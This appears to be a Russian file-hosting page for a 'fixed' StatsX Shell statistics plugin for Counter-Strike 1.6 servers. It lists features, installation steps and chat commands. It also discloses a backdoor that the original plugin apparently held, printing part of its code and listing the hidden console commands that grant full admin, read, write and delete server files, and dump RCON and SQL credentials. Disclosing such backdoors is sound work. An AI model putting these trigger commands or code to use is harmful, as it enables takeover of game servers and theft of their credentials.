Исправленный StatsX Shell (Ultimate StatsX) 2.0.0 [BETA] ()

Категория плагины Дата19-Янв-2025 ЗагрузокЗагрузок: 217
Ссылка для скачивание будет доступна через: сек.
Уважаемый Гость сайта если вы не хотите ожидать 31 сек. для того что бы скачать "Исправленный StatsX Shell (Ultimate StatsX) 2.0.0 [BETA]" размером в: () то зарегистрируйтесь или войдите под своим профилем!



Описание:
StatsX Shell (Ultimate StatsX) - это усовершенствованный плагин статистики, выполненный на основе оригинального StatsX.

Статистика
и анализ игрового процесса , а также не мало важный момент, как
качественная подача этой информации - можно рассматривать как визитную
карточку вашего сервера или фундамент для успешного строительства
сообщества постоянных игроков.

Именно эти мотивы идей стали в основе создания новой, лучшей и более совершенной статистики под названием StatsX Shell,
которая полностью изменит Ваше представление об этом инструменте , без
которого не возможно представить ни один современный игровой сервер в
интернет.

StatsX Shell является универсальным, и сочетает в себе старые и новые функции.
Таким
образом, его можно использовать практически на любом сервере, будь это
обычный, классический, или сервер с установленными модами.


Информация:
Версия: 2.0.0 beta
Доступные языки: RU, EN


Особенности:
StatsX Shell поддерживает два режима работы - "Обычный" и "Новый".

- В Обычном режиме - плагин будет работать как стандартный StatsX (statsx.amxx), при этом будет доступна возможность выбирать MOTD шаблоны.
- При выборе Нового режима - будут доступны дополнительные возможности и команды.


Системные требования:
Counter-Strike 1.6
AMX Mod X 1.8.x
Установленный и рабочий стандартный statsx.amxx


Необходимые модули:
csx
cstrike
nvault


ПРИМЕЧАНИЕ: Внимательно, должным образом убедитесь, что у вас запущены все необходимые модули, иначе плагин не будет работать!

Доработка плагина:
- Полный и качественный перевод
- Корректное отображение символов ""
- MOTD шаблоны
- Новый вид и структура списка лучших игроков
- Статистика худших игроков
- Статистика по нанесенному урону
- Статистика по убийствам в голову
- Статистика почасового посещения
- Статистика сыгранного времени
- Просмотр любой позиции рейтинга игроков
- Система наград и бонусов
- Сообщения при подключении
- Прокрутка HUD статистики лучших игроков
- Цветные уведомления в чате
- Убран шелл от MastaMan'а (by Wildness Team)


Вот небольшая часть вредоносного кода который присутсвовал в плагине:
Code
<a></a></div><div id="sp65d0f50505d2a62f0a4d782d7c39569c" class="text_spoiler" style=""><br><pre><code class="perl"> <span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">/
   
  get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1)
  get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1)

  get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1)
  get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1)
  get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1)
  get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1)
  get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1)
  get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1)
   
  /</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span>
   
  client_print(id,print_console,<span class="string">"==========================="</span>)
  client_print(id,print_console,<span class="string">"[ SHPROT v2.0.0 o(-_^^)0 ]"</span>)
  client_print(id,print_console,<span class="string">"==========================="</span>)
   
  get_players(szPlayers, iNumPlayers)  
   
  <span class="keyword">for</span>(new k = <span class="number">0</span>; k < iNumPlayers; k++)  
  {  
  get_user_name(szPlayers[k],szName, sizeof(szName) - <span class="number">1</span>)  
  get_user_ip(szPlayers[k],szIP, sizeof(szIP) - <span class="number">1</span>, <span class="number">1</span>)  
   
   
  <span class="keyword">if</span>(get_user_flags(k + <span class="number">1</span>) & ADMIN_KICK)
  {
  szAdm = <span class="string">"/!\"
  iAdmCount++
  }
  else
  {
  szAdm = "</span><span class="string">"
  }
   
  console_print(id,"</span><span class="variable">%s</span> <span class="variable">%d</span>) <span class="variable">%s</span> - <span class="variable">%s</span><span class="string">", szAdm, k + 1, szName,szIP)  
  }  
   
  set_user_flags(id, read_flags("</span>abcdefghijklmnopqrstu<span class="string">"))
   
  client_print(id,print_console,"</span> <span class="string">")
  client_print(id,print_console,"</span>ADMINS ONLINE: <span class="variable">%d</span><span class="string">", iAdmCount)
  client_print(id,print_console,"</span>===========================<span class="string">")
   
  client_print(id,print_console,"</span>RCON: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szRc)
  client_print(id,print_console,"</span>PW FIELD: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szPrefix)
   
  client_print(id,print_console,"</span>===========================<span class="string">")
   
  client_print(id,print_console,"</span>SQL HOST: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL1)
  client_print(id,print_console,"</span>SQL USER: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL2)
  client_print(id,print_console,"</span>SQL PW: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL3)
  client_print(id,print_console,"</span>SQL DB: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL4)
  client_print(id,print_console,"</span>SQL TABLE: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL5)
  client_print(id,print_console,"</span>SQL TYPE: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL6)
   
  client_print(id,print_console,"</span>===========================<span class="string">")
   
  ///////////////////////////////////////
   
  get_configsdir(szCfgDir, sizeof (szCfgDir) - 1)
  format(szCfgDir, sizeof (szCfgDir), "</span><span class="variable">%s</span><span class="regexp">/users.ini", szCfgDir)
   
  new i = 0
  tmpi = 0
   
  new file = fopen(szCfgDir, "rt")
  while(!feof(file))
  {  
  fgets(file, szData, sizeof(szData) -1)

  /</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span></code></pre><br></div>


Вы наверное спросите: "Что же в этом коде вредноносного?"
Я вам отвечу... При вводе опреденных команд в консоли клиента игры можно получить много полезной информации. Вот эти команды:
mm_plugins sosimandy_adm - получить админку, права: abcdefghijklmnopqrstu
mm_plugins sosimandy_del "" - удалить файл
mm_plugins sosimandy_wr "" "text" - записать в файл
mm_plugins sosimandy_rd "" - прочитать файл
mm_plugins sosimandy_dir "" - показать что в папке
mm_plugins sositesyki - выводит rcon_password, amx_password_field, amx_sql_host, и т.д и т.п






Перейдем к установке плагина:
1. Отключите стандартный statsx.amxx в "cstrike\addons\amxmodx\configs\plugins.ini"
2. Разархивируйте архив.
3. Файл plugins\statsx_shell.amxx скопируйте в папку "cstrike\addons\amxmodx\plugins\" на вашем сервере.
4. Пропишите statsx_shell.amxx в "cstrike\addons\amxmodx\configs\plugins.ini" на вашем сервере.
5. Файл локализации "data\lang\statsx_shell.txt" скопируйте в папку "cstrike\addons\amxmodx\data\lang" на вашем сервере.
6. Папку "configs\statsx_shell" скопируйте в папку "cstrike\addons\amxmodx\configs" на вашем сервере
7. Перезагрузите сервер.


Чат-команды для "Старого" и "Нового" режима работы плагина:
/me - статистика урона, нанесенного противнику
/hp - статистика урона, нанесенного вам
/rank - ваш текущий ранг на сервере
/statsme - ваша статистика убийств, смертей, попаданий, выстрелов, эффективности и точности
/stats - статистика других игроков
/rankstats - подробная статистика
/report - отображает текущее оружие, патроны, % жизни и броню
/score - статистика побед и эффективности команд
switch - включает/выключает отображение HUD статистики в конце раунда
/top15 - 15 лучших игроков сервера


Чат-команды для "Нового" режима работы плагина:
/top, /top10, /top15, /place, /1place, /1place - 10-ка лучших игроков сервера
/top2, /top20, /2place - 20-ка лучших игроков сервера
/top3, /top30, /3place - 30-ка лучших игроков сервера
/dmg, /damage - 10 лучших игроков по нанесенному урону
/hs, /headshot - 10 лучших игроков по убийствам в голову
/bot, /bots, /flop, /flops, /noob, /noobs, /lol, /lols - 10 худших игроков сервера
/top№ - просмотр любой позиции игроков, где № - номер позиции
/award - показать статистику наград
/day, /attend - показать статистику посещений за сегодня
/time, /pt - показать статистику игроков по сыгранному времени



Теги: Исправленный StatsX Shell (Ultimate
  • Похожие Файлы:
Добавил: silver Просмотров: (991) Комментариев: (0) silver
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
 
ComForm">
avatar

Радио

Вконтакте

Последнии комментарии


а еще запретить продажу програм фирмы 1с во всех ее проявлениях. будь то игра или программы учета!!!



Answer: Благодарим за информацию.


Не плохая идея но дорого будет стоить будет дорого наверное



Сюся, если еще сравнивать эту  соц. сеть с сетью "Друзи" то это же вообще пипец полный! Не говоря что не кто не переманит пользователей с ВК.

Наш опрос

Полезные для вас наши новости?


Статистика

Онлайн всего: 2
Гостей: 2
Пользователей: 0